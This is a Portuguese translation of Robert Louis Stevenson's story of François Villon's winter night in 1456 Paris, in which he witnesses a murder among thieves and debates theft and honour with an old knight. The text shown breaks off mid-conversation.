Consciênia - Filosofia e Ciências Humanas
Platão, biografia e pensamentos aristoteles Descartes Rousseau Nietzsche Marx

HISTÓRIAS DE FRANCIS VILLON – Robert Louis Stevenson


HISTÓRIAS DE FRANCIS VILLON

Um lugar para passar a noite

Robert Louis Stevenson

O poeta deu o nome num sussurro audível e esperou o resultado. Não precisou aguardar muito. Uma janela se abriu e alguém jogou um balde cheio de água suja.


Já era noite em novembro de 1456. A neve caía sobre Paris com uma persistência rigorosa e implacável; às vezes, uma investida de vento espalhava-a em rodopios/às vezes, numa bonança, os flo­cos, um após o outro, desciam do ar negro da noite em silêncio, em círculos, interminavelmente. Os pobres, que olhavam por sobre as sobrancelhas úmidas, espantavam-se ao pensar de onde provinha tanta neve. Naquela tarde, junto à janela de uma taberna, mestre Francis Villon havia proposto uma alternativa: ou era o Júpiter pagão depenando gansos no Olimpo ou eram os santos anjos mudan­do as penas. Ele era apenas um pobre mestre de artes, disse, e como a questão, de certa forma, envolvia a divindade, não ousou con­cluir. Entre os presentes havia um padre de Montargis, ridículo e velhusco, que convidou o jovem insolente para uma garrafa de vinho pela graça e pelas caretas com que a fala foi acompanhada e jurou pela sua barba branca que também ele fora um cão irreverente com a idade de Villon.

O ar era frio e penetrante, mas a temperatura não estava muito abaixo de zero. Os flocos eram grandes, úmidos e pegajosos. Um lençol branco cobria toda a cidade. Um exército poderia atravessá-la marchando sem que o som de um passo desse o alarme. Se havia pássaros no céu surpreendidos pelo cair da noite, estes viam a ilha como um grande remendo branco e as pontes como finas barras bran­cas sobre o fundo negro do rio. Bem alto, acima das cabeças, a neve se acomodava entre os ornatos das torres da catedral. Havia-se acu­mulado em muitos nichos e muitas das estátuas vestiam longos gor­ros brancos em suas cabeças grotescas ou santificadas. As gárgulas haviam sido transformadas em longos narizes postiços que afinavam na ponta. As folhas ornamentais pareciam travesseiros eretos incha­dos de um lado. Nos intervalos sem vento, um som surdo de pingos se fazia ouvir nos recintos da igreja.

O cemitério de St. John havia recebido seu quinhão de neve. Todos os túmulos estavam cobertos com decência; altos telhados brancos erguiam-se à volta em formação grave; cidadãos honestos, à semelhança de suas casas, há muito repousavam em seus barretes de dormir; não havia luz na vizinhança a não ser por uma luminosi­dade fina e fraca que escapava de uma lâmpada, que pendendo do balcão da igreja balançava, lançando as sombras em um vaivém ao ritmo de suas oscilações.

O relógio marcava quase dez horas quando a ronda passou car­regando alabardas e uma lanterna, batendo as mãos; não notou nada de suspeito no cemitério de St. John.

Contudo havia uma pequena casa encostada no muro do cemi­tério, que não dormia ainda, desperta com maus propósitos nesse bairro que roncava. Vista por fora, tinha pouco para denunciá-la; só um fio de vapor cálido da chaminé, uma mancha onde a neve derre­tera no telhado e algumas pegadas obliteradas junto à porta. Dentro, porém, atrás das venezianas, mestre Francis Villon, o poeta, e al­guns dos ladrões do bando a que estava ligado, mantinham a noite viva e passavam em volta a garrafa.

Uma grande pilha de brasas acesas difundia um brilho forte e ru­bro da lareira arqueada. Diante desta estava escarranchado Dom Ni-cholas, o monge de Picardy, com a saia levantada e as pernas gor­das despidas para o calor confortável. Sua sombra dilatada partia o recinto em dois; e a luz das chamas só escapava pelos lados de sua vasta figura e por uma pequena poça entre seus pés espalhados. Seu rosto tinha o ar contundido de um constante consumidor de cerveja; estava coberto por uma rede de veias congestionadas, de cor púrpu-ra em circunstâncias normais, mas, naquele momento, de um vio­leta pálido, pois, mesmo estando com as costas voltadas para o fo­go, o frio penetrante o atingia pelo outro lado. Seu capuz estava quase caído para trás e formava uma excrescência estranha de am­bos os lados de seu pescoço taurino. Ele estava assim escarrancha­do, resmungando, e dividia a peça em duas com a sombra de seu corpo imponente.

A direita, Villon e Guy Tabary estavam muito juntos debruça­dos sobre um pedaço de pergaminho; Villon compondo uma balada que chamaria de A balada do peixe assado, e Tabary, junto a seu ombro, expressando sua admiração de forma precipitada e incoe­rente. O poeta era um farrapo humano, escuro, pequeno, magro, de rosto encovado e de cabelo fino e negro. Carregava seus vinte e cinco anos com uma animação febril. A voracidade havia deixado rugas perto dos olhos, e os sorrisos maliciosos haviam franzido sua boca. O lobo e o porco debatiam-se em seu rosto. Era uma fisiono­mia eloqüente, mordaz, feia e mundana. Suas mãos eram pequenas e apreensivas, os dedos, nodosos como uma corda, tremulavam à sua frente numa pantomima violenta e expressiva. Quanto a Tabary, uma imbecilidade ampla, complacente e encantadora irradiava-se de seu nariz amassado e de seus lábios babosos; tinha se tornado um la­drão da mesma forma como poderia ter sido o mais decente dos Ci­dadãos, pela imperiosa sorte que rege as vidas dos gansos e dos asnos humanos.

Do outro lado do monge, Montigny e Thevenin Pensete joga­vam um jogo de azar. O primeiro com sabor de bom berço e refina­mento, como um anjo caído, algo esguio, fino e nobre na aparência, algo aquilino e enigmático no rosto. Thevenin, coitado, estava radioso: tinha aplicado um belo golpe naquela tarde no Faubourg St. Jacques, e estivera, toda a noite, ganhando de Montigny. Um sorriso vulgar iluminava sua face, sua cabeça reluzia rosa numa grinalda de cachos ruivos, seu pequeno estômago protuberante sacudia-se com suas risadas silenciosas enquanto puxava os ganhos.

“O dobro ou nada?”, disse Thevenin.

Montigny acenou severamente.

“Alguns podem preferir jantar em estilo”, escreveu Villon. “De pão e queijo numa baixela de prata. Ou — ou’ — ajude-me a sair desta, Guido!”

Tabary deu uma risadinha.

“Ou salsa numa baixela de ouro”, rabiscou o poeta.

O vento estava mais frio do lado de fora, carregava a neve à sua frente e, às vezes, elevava a voz num grito vitorioso e emitia rosna-das sepulcrais na chaminé. O frio tornava-se mais intenso à medida que avançava a noite. Villon, espichando os lábios”, imitou a rajada com som entre um assobio e um gemido. O poeta tinha esse talento sinistro e desagradável que o monge de Picardy detestava profunda­mente.

“Ouvem como matraqueia na forca?” disse Villon. “Lá em cima estão todos dançando, à toa, a jiga do diabo. Podem dançar, meus cavalheiros, não sentirão mais calor por isso! Caramba’ que rajada!

Agora mesmo desceu alguém! Uma nêspera a menos na nespereira com tripé! O que acha, Dom Nicholas, vai estar frio esta noite na es­trada de St. Denis?” — perguntou.

Dom Nichoias piscou seus grandes olhos e quase engasgou com o pomo de Adão. Montfaucon, a grande e horrível forca de Paris, es­tava próxima à estrada de St. Denis, e o gracejo tocou-lhe num pon­to sensível. Tabary, por sua vez, riu das nespereiras sem moderação; nunca ouvira nada mais engraçado, segurava os quadris e exultava. Villon deu-lhe um piparote no nariz que transformou sua alegria num acesso de tosse.

“Ora, parem com essa algazarra”, disse Villon, “e pensem em palavras que rimem com peixe”

“O dobro ou nada”, disse Montigny obstinadamente.

“De todo coração”, disse Thevenin.

“Ainda resta alguma coisa nessa garrafa?”, perguntou o monge.

“Abra outra”, disse Villon. “Como espera encher esse enorme barril —- seu corpo —- com coisas pequenas como garrafas? E como espera ir- para o céu? De quantos anjos acha que eles devem dispor para levar um único monge de Picardy? Ou você pensa que é um se­gundo Elias — e que eles vão mandar uma carruagem pra buscá-lo?”.

“Hominibus impossibiíe”, retorquiu o monge, enquanto enchia o copo.

Tabary estava enlevado.

Villon deu-lhe outro piparote no nariz.

“Ria das minhas brincadeiras se quiser”, disse ele.

“Foi muito boa”, alegou Tabary.

Villon voltou-se para ele com uma careta.”Pense no que rima com ‘peixe’,” disse. “O que é que você tem com o latim? No Juízo Final, quando o diabo chamar por Guido Tabary, o clérigo — o diabo de corcunda e unhas incandescentes —, você não vai querer saber de latim. Falando do diabo”, acrescentou num sussurro, “olhe para Montigny!”

Os três examinaram dissimulados o jogador. Este não parecia satisfeito com a sorte. Sua boca estava um pouco para o lado; uma das narinas quase fechada e a outra muito inchada. O cão negro — a melancolia — estava sobre suas costas, como se diz, numa terrível metáfora infantil; e ele respirava com dificuldade sob o horrível fardo.

“Parece que ele vai apunhalá-lo”, sussurrou Tabary, os olhos como duas bolas.

O monge se arrepiou, virou o rosto e espichou as mãos abertas para as brasas incandescentes. Era o frio “que afetava Dom Nicholas dessa maneira e não qualquer excesso de suscetibilidade moral.

“Vamos agora a essa balada”, disse Villon. “Onde ficamos?” E marcando o ritmo com as mãos. leu-a em voz alta para Tabary.

Na quarta rima foram interrompidos por um movimento breve e fatal entre os jogadores. A rodada havia terminado, e Thevenin esta­va querendo abrir a boca para reivindicar mais uma vitória, quando Montigny saltou, rápido como uma cobra, e apunhalou-o no cora­ção. O golpe ocorreu antes que ele pudesse emitir um grito, antes que ele tivesse tido tempo, de se mover. Sua figura tremeu em con­vulsão uma ou duas vezes: suas mãos abriram e fecharam, seus cal­canhares batiam no chão; então sua cabeça rolou para trás sobre um dos ombros, os olhos bem abertos; e o espírito de Thevenin Pensete retornou Aquele que o havia criado.

Todos pularam de pé mas o assunto estava terminado em dois tempos. Os quatro vivos se entreolharam horrorizados; o morto con­templava um canto do telhado com um olhar de soslaio, feio e estra­nho.

“Meu Deus!” disse Tabary começando a rezar em latim.

Villon irrompeu numa risada histérica. Deu um passo à frente, fez uma profunda reverência a Thevenin e riu ainda mais alto. Então subitamente desmoronou sobre um banco e continuou seu riso cruel como se fosse desintegrar.

Montigny foi o primeiro a recobrar a compostura.

“Vamos ver o que ele traz consigo”, observou. Limpou os bol­sos do morto com mãos experientes e dividiu o dinheiro em quatro partes iguais sobre a mesa. “Isto é de vocês”, disse.

O monge recebeu sua parte com um profundo suspiro e um único olhar furtivo ao morto, Thevenin, que começava a afundar e a escorregar para fora da cadeira.

“Vão nos pegar a todos, como Judas”, gritou Villon engolindo seu riso. “É a forca para qualquer um de nós, homens do povo, que estamos aqui, sem falar naqueles que não estão”. Fez um gesto gro­tesco com a mão direita estendida no ar, esticou a língua para fora e’ jogou a cabeça para o lado simulando um enforcado. Então embol­sou sua parte do saque e executou um passo de dança para restabe­lecer a circulação.

Tabary foi o último a se servir, jogou-se sobre o dinheiro e se re­tirou para o lado oposto da peça.

Montigny deixou Thevenin ereto na cadeira e retirou o punhal, que saiu com um jato de sangue.

“E melhor que vocês se mexam”, disse, enquanto secava a lâ­mina no gibão do amigo.

“Eu acho que. nós deveríamos”, voltou a falar Villon ofegante.

“Que se dane sua cabeça gorda!” desabafou. “Parece catarro grudado na minha garganta. Que direito tem alguém de ser ruivo quando está morto?” E mais uma vez desmoronou sobre o banco e cobriu bem o rosto com as mãos.

Montigny e Dom Nicholas riram em voz alta e mesmo Tabary concordou debilmente.

“Chore nenê”, disse o monge.

“Eu sempre disse que ele era um fraco”, acrescentou Montigny com sarcasmo. “Quer sentar de uma vez?”, prosseguiu dando uma sacudida no corpo do assassinado. “Apague esse fogo com os pés, Nick!”

Mas Nick tinha melhor ocupação, retirava a bolsa de Villon en­quanto o poeta vacilante tremia na cadeira onde estivera compondo a balada há menos de três minutos atrás. Montigny e Tabary exi­giam, em silêncio, uma parte do roubo, que o monge, também em silêncio, prometeu enquanto metia a bolsa no fundo de sua roupa. De muitas maneiras uma natureza artística arruina um homem para uma existência prática.

Mal havia sido praticado o roubo quando Villon se sacudiu, pa­rou de pé com um salto e começou a ajudar a espalhar e apagar as brasas. Enquanto isso. Montigny abriu a porta com cuidado e obser­vou atentamente á rua. O caminho estava livre; não havia nenhuma ronda intrometida à vista. Julgaram, contudo, que era mais seguro escapulir um de cada vez. Como o próprio Villon tinha pressa de fu­gir da proximidade do morto Thevenin, e o resto tinha mais pressa ainda de livrar-se dele antes que descobrisse a perda de seu dinhei­ro, ele foi, com o consentimento geral, o primeiro a ganhar a rua.

O vento vencera e havia varrido todas as nuvens do céu. Só al­guns vapores, tão finos quanto raios de lua, passavam rapidamente junto as estrelas. O frio era intenso e, por um efeito ótico comum, os objetos pareciam quase mais definidos do que num dia claro. A cida­de adormecida estava absolutamente imóvel: uma série de capuzes brancos, um campo cheio de pequenos Alpes, sob as estrelas cinti­lantes. Villon amaldiçoou sua sorte. Se ainda nevasse! Agora, por onde passava deixava um indelével rastro atrás de si nas ruas res­plandecentes; onde fosse, estaria amarrado à casa perto do cemité­rio de St. John. onde fosse, deveria trançar com seus pés laboriosos a corda que o ligava ao crime e o prenderia ao patíbulo. O olhar do morto voltou a ele com novo significado. Estalou os dedos para co­brar ânimo o. escolhendo uma rua ao acaso, avançou corajosamen­te na neve.

Duas coisas o preocupavam enquanto caminhava: uma. o as­pecto da forca em Montfaucon nesta fase tempestuosa e brilhante da existência da noite; a outra, o olhar do morto e sua cabeça calva com uma grinalda de cachos ruivos. As duas enregelavam seu coração e ele continuou como se pudesse escapar dos pensamentos desagra­dáveis apressando o passo. Às vezes olhava para trás, por cima do ombro, com súbitos arrepios de nervosismo. Ele era, contudo, a úni­ca coisa móvel nas ruas brancas a não ser quando o vento atacava de trás de uma esquina levantando a neve, que começava a gelar em jatos de poeira resplandecente.

De súbito viu bem à sua frente uma mancha preta e um par de lanternas. A mancha preta se movia e as lanternas balançavam co­mo se carregadas por homens. Era uma ronda. E, embora estivesse apenas passando pelo seu trajeto, achou melhor afastar-se o mais depressa possível. Não desejava ser visto e sabia estar deixando mar­cas muito evidentes na neve. A sua esquerda ficava um grande hotel com torres e um amplo vestíbulo; estava quase em ruínas, lembrou, e há muito permanecia vazio. Deu três passos e saltou para proteger-se no vestíbulo. O interior deste estava muito escuro em contraste com a luminosidade das ruas nevadas e, andando às apalpadelas, com as mãos estendidas, tropeçou numa substância que ofereceu uma indescritível mistura de resistência, dura e mole, firme e frouxa. Seu coração deu um pulo. Saltou dois passos para trás e arregalou os olhos com espanto para o obstáculo. Então deu uma risada de alí­vio. Era somente uma mulher e estava morta. Ajoelhou-se a seu la­do para certificar-se. Estava congelada e rígida como um pau. Um descomposto refinamento flutuava ao vento ao redor de seu cabelo e seu rosto havia recebido uma espessa camada de rouge naquela mesma tarde. Seus bolsos estavam completamente vazios, mas na meia, embaixo da liga, Villon encontrou duas pequenas moedas de prata. Era muito pouco, mas era mais do que nada; e o poeta se emocionou com o profundo sentido patético de que ela morrera an­tes de gastar o dinheiro. Parecia-lhe um mistério obscuro e lamentá­vel; e ele olhou .das moedas em sua mão para a mulher morta, e de novo para as moedas, sacudindo a cabeça para o enigma da vida humana. Henrique V da Inglaterra morrendo em Vincennes logo após a conquista da França, e esta pobre infeliz com a vida decepada por uma fria corrente de ar na soleira da casa de um rico, antes de ter tido tempo de gastar o par de moedas — era um mundo cruel. Não levaria nada para esbanjar duas moedas de prata e, contudo, ela po­deria ter sentido mais um gosto bom na boca, mais um prazer nos lá- bios, antes que o demônio levasse sua alma, e seu corpo fosse deixa­do aos pássaros e vermes. Queria usar todo o sebo antes que a luz se apagasse e a lanterna fosse quebrada.

Enquanto estes pensamentos atravessavam sua mente, procu­rava quase mecanicamente pela bolsa. De súbito, seu coração parou de bater; teve a sensação de que escamas frias tocavam suas pernas por trás, e uma rajada fria parecia atingir seu couro cabeludo. Parou petrificado por um momento e então, dando-se conta da perda, per­cebeu estar coberto de suor. O dinheiro é tão vivo e real para os es-banjadores — é um véu tão fino entre eles e seus prazeres! Há ape­nas um limite para a fortuna — o tempo; e um esbanjador com so­mente algumas coroas é o imperador de Roma até que elas sejam gastas. Para uma pessoa assim perder o dinheiro é sofrer o revés mais chocante, e cair do céu para o inferno, de tudo para o nada, num instante. E ainda mais se, por ele, colocou a cabeça na corda, se, por essa mesma bolsa, for enforcado amanhã. Um dinheiro ga­nho a preço tão elevado e tão estupidamente perdido. Villon perma­necia de pé praguejando; jogou as duas moedas na rua; ameaçou o céu com o punho; sapateou e não se horrorizou de estar pisoteando o pobre cadáver. Então dirigiu-se rapidamente à casa junto ao cemi­tério. Esquecera todo o medo à ronda, que, de qualquer forma, já havia passado hã muito tempo, só lembrava a bolsa perdida. Olhou em vão para a neve à direita e à esquerda; não via nada. Não a ha­via deixado cair nas ruas. Teria caído na casa? Gostaria muito de en­trar e procurar mas a idéia da presença do terrível ocupante desanimou-o. Além disso, ao se aproximar, viu que os esforços de apagar o fogo não tinham sido bem sucedidos; pelo contrário, este havia irrompido em chamas, e uma luz inconstante brincava nas fendas da porta e da janela; e reavivou-se seu terror pelas autoridades e pela forca de Paris.

Voltou ao hotel com o vestíbulo e tateou com a mão na neve em busca do dinheiro que havia jogado fora numa paixão pueril. Só conseguiu encontrar uma moeda; a outra devia ter saltado para o la­do e afundado na neve. Com uma única moeda no bolso, todos os projetos de uma noite extraordinária nalguma taberna selvagem desvaneceram-se por completo. E não era apenas o prazer que fugia rindo de seu alcance; uma aflição real e uma dor real assaltaram-no enquanto permanecia de pé, pesaroso, diante do vestíbulo. O suor que o cobria havia secado e, embora o vento houvesse esmorecido, o frio tornava-se mais intenso com o passar das horas; e ele se sentiu entorpecido e triste. O que havia a fazer? Tão tarde e com poucas probabilidades de sucesso, ele tentaria a casa de seu pai adotivo, o capelão de St. Benoit.

Correu todo o percurso e bateu com timidez. Não houve res­posta. Bateu repetidas vezes, desanimando a cada batida e, final­mente, ouviu passos que se aproximavam Uma vigia com grades abriu-se na porta de batentes de ferro e emitiu um jato de luz amare­la.

“Ponha o rosto na vigia”, disse o capelão do lado de dentro.

“Sou eu”, disse Villon numa lamúria.

“Ah, é você, não é?”, respondeu o capelão e amaldiçoou-o com imprecações obscenas, nada clericais, por perturbá-lo àquela hora, e mandou-o para o inferno do qual viera.

“Minhas mãos estão azuis até o pulso”, argumentou Villon, “meus pés estão dormentes e cheios de dor; meu nariz dói com o ar cortante; o frio está no meu coração. Poderei estar morto antes que amanheça. Só desta vez, pai, e, por Deus, não pedirei nunca mais!”

“Deveria ter vindo antes”, retrucou o eclesiástico com frieza. “Os jovens precisam de uma lição de vez em quando”. Fechou a vi­gia e retirou-se deliberadamente para o interior da casa.

Villon estava fora de si; bateu na porta com as mãos e os pés e gritou roucamente para o capelão.

“Velha raposa bichada! Se eu pudesse pôr a mão em você, o jo­garia de cabeça num poço sem fundo”.

Uma porta se fechou dentro da casa; o poeta mal podia ouvir o que acontecia nos longos corredores. Passou a mão pela boca pra­guejando. Então viu o lado cômico da situação, riu e olhou despreo­cupado para o céu onde as estrelas pareciam estar piscando para a sua derrota.

O que fazer? Certamente seria uma noite nas ruas congeladas. A imagem da mulher morta voltou inesperadamente e assustou-o de fato; o que acontecera a ela no início da noite poderia muito bem su­ceder com ele antes do amanhecer. E ele tão jovem! E com tantas possibilidades de divertimento desregrado à sua frente! Sentiu-se bastante patético diante da noção de seu próprio destino, como se fosse o destino de outro, e fez uma pequena vinheta da cena quando seu corpo fosse encontrado pela manhã.

Passou em revista todas as possibilidades, girando a moeda en­tre o polegar e o indicador. Infelizmente estava de relações cortadas com velhos amigos que, antes, teriam se compadecido dele, nessa situação. Ele os havia satirizado em verso; agredido e trapaceado; contudo agora, quando estava em apuros, pensou que haveria pelo menos um que o socorreria. Era uma chance. Ao menos valia a pe­na tentar, e decidiu fazê-lo.

No caminho ocorreram dois pequenos incidentes que mudaram o rumo de suas preocupações. Primeiro, porque ele seguiu o rastro da ronda por uma centena de jardas, mesmo que esse não fosse seu percurso. E isso o animou, pelo menos havia confundido suas pega­das, já que não abandonara a idéia de que o estavam procurando na neve por toda Paris, para pendurá-lo pelo pescoço antes que des­pertasse. O outro assunto afetava-o de maneira bem diferente. Passou por uma esquina onde há algum tempo uma mulher e o filho ha­viam sido devorados pelos lobos. Refletiu, essa era exatamente a época em que os lobos poderiam pensar em entrar em Paris mais uma vez; e um homem sozinho nas ruas desertas poderia correr o risco de enfrentar algo mais sério que um simples susto. Parou e olhou para o lugar sem nenhum prazer — era um largo onde vários becos se cruzavam, e ele olhou na direção de cada um prendendo a respiração para escutar, com medo de descobrir aqueles seres ne­gros galopando na neve ou ouvir o som de uivos entre si e o rio. Lembrou sua mãe contando-lhe a história e mostrando o lugar quan­do ele ainda era uma criança. Sua mãe! Se soubesse onde ela mora­va, teria com certeza um abrigo. Decidiu informar-se pela manhã; não, iria vê-la também, pobre velhinha. Pensando assim chegou a seu destino — sua última esperança para a noite.

A casa estava bem escura, como as outras na vizinhança; contu­do, depois de algumas batidas, percebeu movimento em cima; uma porta se abriu e uma voz cautelosa perguntou quem estava lá. O poeta deu o nome num sussurro audível e esperou trepidante pelo resultado. Não precisou aguardar muito. Uma janela se abriu de re­pente e um balde cheio de água suja caiu nos degraus da porta. Vil-lon não estava despreparado para tal e havia-se abrigado como pu­dera no vestíbulo; mas, depois disso tudo, ficara deploravelmente encharcado até abaixo da cintura. Suas calças começaram a conge­lar quase que de imediato. A morte que vem do frio e da exposição à intempérie olhava-o de frente; lembrou que tinha tendências tísicas e tentou tossir. A gravidade do assunto, contudo, acalmou seus ner­vos. Parou a algumas centenas de jardas da porta onde havia sido tratado com tanta rudeza e refletiu segurando o dedo no nariz. Sabia de apenas uma maneira de conseguir hospedagem, e essa era pegá-la. A pouca distância, havia notado uma casa que parecia fácil de ar­rombar, e para lá se dirigiu prontamente, comprazendo-se, no cami­nho, com a idéia de encontrar uma peça ainda quente, com uma mesa ainda repleta com as sobras do jantar, onde poderia passar o resto da noite, e de onde pudesse sair de manhã com os braços cheios de prata valiosa. Considerou ainda que pratos e que vinhos iria preferir; e, enquanto listava as iguarias de sua preferência, o pei­xe assado ocorreu-lhe com um misto estranho de divertimento e horror.

“Nunca terminarei essa balada”, pensou consigo mesmo, e en­tão, estremecendo à lembrança, “Oh, dane-se sua cabeça gorda!”, repetiu com fervor e cuspiu na neve.

A casa em questão parecia escura à primeira vista; mas, após uma inspeção preliminar em busca do melhor ponto de ataque, um vislumbre de luz, atrás da janela encortinada, chegou até Villon.

“Diabo!” pensou. “Alguém acordado! Um estudante ou um san­to, maldita raça! Não sabem embebedar-se e roncar na cama como seus vizinhos? De que serve o toque de recolher e os pobres sineiros pulando na ponta da corda dos sinos? Para que serve o dia se as pes­soas fazem vigília à noite? Danem-se!” Sorriu com ironia ao ver onde sua lógica o estava levando. “Cada homem com seu negócio, afinal”, acrescentou, “se estão acordados, por Deus, posso jantar honestamente, desta vez, e trapacear o diabo”.

Com atrevimento dirigiu-se para a porta e bateu com mão segu­ra. Nas duas ocasiões anteriores, havia batido com timidez temendo chamar a atenção, agora, porém, após haver descartado a possibili­dade de entrar como um ladrão, uma batida na porta parecia-lhe um procedimento perfeitamente simples e inocente. O som de seus gol­pes ecoava pela casa com reverberações tênues e ilusórias, como se estivesse inteiramente vazia; essas, porém, mal tinham desaparecido quando um leve ruído de passos se aproximou, um par de ferrolhos foi retirado e uma folha da porta foi bem aberta, como se nenhuma maldade ou medo da maldade fosse conhecido por aqueles que es­tavam no interior. Uma figura alta de homem, musculosa e magra, mas algo curvada, enfrentou Villon. A cabeça era maciça no tama­nho, mas bem esculpida; o nariz obtuso na ponta, mas refinado em cima, onde se unia a um par de sobrancelhas fortes e honestas; a bo­ca e os olhos circundados por marcas delicadas, e toda a face assen­tada numa barba espessa e branca, cortada com audácia e justiça. Vista à luz de um lampião bruxuleante parecia mais nobre do que de direito; era uma face pura, no entanto, mais nobre do que inteligen­te, forte, simples e íntegra.

“Bate tarde, senhor”, disse o velho em tom ressonante e cortês.

Villon encolheu-se de medo e protestou muitas desculpas, defendendo-se. Numa crise desta espécie o indigente sobressaía ne­le, e o gênio escondeu a cabeça confuso.

“Você está com frio”, repetiu o velho, “e faminto? Bem, entre.” E ordenou com um gesto muito nobre que entrasse na casa.

“Um grande senhor”, pensou Villon enquanto seu anfitrião pousava o lampião nas lajes da entrada, e recolocava os ferrolhos no lugar.

“Perdoe-me se me antecipo”, disse após concluir, e precedeu o poeta ao andar superior, dirigindo-se a um grande aposento aqueci­do com um tacho de carvão e iluminado por uma grande lâmpada que pendia do teto. Havia poucos móveis: apenas alguns objetos de ouro no aparador, alguns fólios e uma armadura entre as janelas. Uma tapeçaria vistosa pendia das paredes representando a crucificação de Nosso Senhor num quadro, noutro, uma cena de pastores o pastoras junto a um córrego. Sobre a lareira havia um escudo.

“Queira sentar-se”, disse o velho, “e perdoe-me se o deixo. Es­tou só em casa esta noite e, se você quiser comer, eu mesmo devo servi-lo.”

O anfitrião mal tivera tempo de sair quando Villon saltou da ca­deira em que havia sentado para examinar a sala tão furtivo e entu­siasmado quanto um gato. Pesou os frascos de ouro com a mão, abriu todos os fólios e examinou as armas sobre o escudo e o revesti­mento das cadeiras. Levantou as cortinas e viu que as janelas eram ricos vitrais que representavam, em sua opinião, figuras de impo­nência marcial. Então parou no meio da sala, respirou fundo e, re­tendo o ar em suas bochechas infladas, olhou mais de uma vez à sua volta, girando nos calcanhares como se quisesse imprimir cada traço em sua memória.

“Sete peças de ouro”, disse. “Se houvesse dez, eu arriscaria. Uma bela casa e um belo dono. Que os santos todos me ajudem!”.

E naquele momento, ao ouvir os passos do velho no corredor, voltou furtivamente para seu lugar e começou humildemente a aquecer as pernas úmidas no tacho de carvão.

O anfitrião tinha um prato de carne numa mão e uma jarra de vinho na outra. Colocou o prato na mesa fazendo um gesto para que Villon aproximasse sua cadeira e, caminhando até o aparador, trou­xe dois cálices, que encheu.

“Bebo à sua boa sorte”, disse tocando gravemente seu copo no de Villon.

“Para que nos conheçamos melhor”, respondeu o poeta com atrevimento. Um homem simples do povo estaria intimidado pela cortesia do velho senhor, mas Villon era duro nessas ocasiões, havia sido jovial com grandes senhores antes disso e achava-os tão velhacos quanto ele próprio. Por isso dedicou-se a comida com um prazer voraz, enquanto o velho, recostando-se para trás, o observava com olhos firmes e curiosos.

“Há sangue em seu ombro, meu rapaz”, ele disse.

Montigny devia ter tocado nele com sua mão úmida ao sair de casa. Do fundo do coração soltou uma praga contra Montigny.

“Não foi derramado por mim”, gaguejou.

“Não pensei que fosse”, respondeu o anfitrião calmamente. “Uma briga?”

“Bem, algo parecido”, admitiu Villon trêmulo.

“Alguém assassinado, talvez?”

“Oh, não, assassinado não”, disse o poeta cada vez mais confu­so. “Foi um jogo honesto — assassinado acidentalmente. Não tive nada a ver. Quero cair morto!” acrescentou com fervor.

“Um vadio a menos, diria”, comentou o dono da casa.

“Pode dizê-lo”, concordou Villon, infinitamente aliviado. “Um vadio tão grande quanto a distância daqui a Jerusalém. Morreu co­mo um cordeirinho. Mas era algo horrível de se ver. Eu teria a ousa­dia de dizer, meu senhor, que durante sua vida deve ter visto muitos homens mortos”, acrescentou, olhando para a armadura.

“Muitos”, disse o velho. “Como pode imaginar, eu acompanhei as guerras”.

Villon pousou o garfo e a faca que recém havia pegado.

“Alguns era calvos?” perguntou.

“Ah, sim, e com o cabelo tão branco quanto o meu.”

“Acho que o branco não me importaria tanto”, observou Villon. “O dele era ruivo.” Voltaram-lhe o tremor e a vontade de rir, que afogou com um grande gole de vinho. “Fico desconcertado quando penso”, continuou. “Eu o conhecia — que se dane! E então o frio faz com que o homem fantasie — ou as fantasias fazem com que um ho­mem sinta frio, não sei.”

“Tem algum dinheiro?”, perguntou o velho.

“Tenho uma moeda de prata”, respondeu o poeta rindo. “Tirei da meia de uma prostituta morta num vestíbulo. Estava tão morta quanto César, pobre mulher, tão fria quanto uma igreja, com laços de fita em seu cabelo. No inverno, este é um mundo difícil para os lobos, prostitutas e vagabundos como eu.”

“Eu”, disse o velho, “sou Enguerrand de Ia Fecuillée, senhor de Brisetout, bailio do Patatrac. Quem e o que vem a ser você?”

Villon levantou-se e fez uma reverência adequada. “Chamo-me Francis Villon”, respondeu, “um pobre mestre de artes desta univer­sidade. Sei um pouco de latim e muito sobre o vício. Sei fazer canti­gas, baladas, lais, virelais e rondeis e gosto muito de vinho. Nasci num sótão e não é improvável que morra na forca.Posso acrescen­tar, meu senhor, que a partir desta noite sou um servo muito subser­viente às ordens de Vossa Senhoria.”

“Meu servo, não”, disse o cavaleiro, “meu convidado esta noite e nada mais.”

“Um convidado muito grato”, comentou Villon com cortesia; e bebeu em silêncio à saúde de seu anfitrião.

“Você é inteligente”, começou a dizer o velho, batendo de leve a testa, “muito inteligente; você tem erudição, sabe escrever; e, con­tudo, tira uma moeda de uma morta na rua. Não é uma forma de roubar?”

“E uma espécie de roubo muito praticado nas guerras, meu se­nhor.”

“As guerras são o campo da honra”, retrucou o velho com or­gulho. “Nelas o homem joga sua vida num lance; luta em nome de seu senhor, o rei, seu Senhor Deus, e de todos os santos e anjos.”

“Imagine”, disse Villon, “que eu fosse de fato um ladrão, não deveria apostar a minha vida em disputas mais sérias?”

“Pelo lucro, mas não pela honra.”

“Lucro?” repetiu Villon encolhendo os ombros. “Lucro! O pobre-diabo quer uma refeição e a pega. Assim também o soldado na campanha. Ora, o que são todos esses requisitos de que tanto ouvimos falar? Se não são lucro para aqueles que os tomam, são uma perda suficiente para os outros. Os homens de armas bebem junto a um bom fogo, enquanto que o homem do povo rói as unhas para comprar lenha e vinho para eles. Vi muitos camponeses balan­çando nas árvotes do campo, ai, vi trinta num olmo, e que triste figu­ra faziam; e quando perguntei por que foram enforcados, disseram-me que era por não terem conseguido o número suficiente de coroas para satisfazer os homens de armas.”

“É uma necessidade da guerra, que o homem de berço humilde deve suportar fielmente. E certo que alguns capitães agem com crueldade; há espíritos em todas as fileiras que não são levados pela piedade; e ainda muitos, em nada melhores que os bandidos, esco­lhem as armas.”

“Veja”, disse o poeta, “o senhor não pode distinguir o soldado do bandido; e o que é um ladrão senão um bandido de hábitos cir­cunspectos? Eu roubo um par de costeletas de carneiro sem pertur­bar o sono dos homens; o fazendeiro resmunga um pouco, mas, não obstante, engole, com proveito, o que sobra. O senhor vem soando a trombeta com glória, leva a ovelha inteira e logra o fazendeiro desprezivelmente. Eu não tenho trombeta, sou apenas Tom, Dick ou Harry; sou um vadio e um cão, e a forca, sinceramente, é um bem demasiado para mim. Pergunte, porém, ao fazendeiro qual de nós ele prefere, procure descobrir a qual ele amaldiçoa desperto nas noi­tes frias.”

